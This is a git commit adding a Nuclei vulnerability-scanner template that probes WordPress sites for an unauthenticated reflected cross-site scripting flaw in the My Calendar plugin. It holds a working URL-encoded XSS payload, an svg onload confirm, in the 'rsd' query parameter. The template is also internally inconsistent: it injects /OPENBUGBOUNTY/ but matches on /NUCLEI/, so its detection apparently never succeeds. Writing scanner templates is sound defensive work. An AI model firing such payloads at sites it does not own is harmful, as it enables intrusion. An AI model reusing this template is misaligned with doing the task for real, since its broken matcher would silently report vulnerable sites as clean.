Create wpmudev-my-calender-xss.yaml

2021-06-20 22:45:15 +05:30 · 2021-06-20 22:45:15 +05:30 · 42c937d730
parent 40dfa6d6fe
commit 42c937d730
1 changed files with 23 additions and 0 deletions
--- a/vulnerabilities/wordpress/wpmudev-my-calender-xss.yaml
+++ b/vulnerabilities/wordpress/wpmudev-my-calender-xss.yaml
@ -0,0 +1,23 @@
+id: my-calender-xss
+
+info:
+  name: My Calendar <= 3.1.9 - Unauthenticated Cross-Site Scripting (XSS)
+  author: dhiyaneshDk
+  severity: medium
+  reference: https://wpscan.com/vulnerability/9267
+  tags: wordpress
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?rsd=%27%3E%3Csvg%2Fonload%3Dconfirm(%2FOPENBUGBOUNTY%2F)%3E'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=confirm(/NUCLEI/)>"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200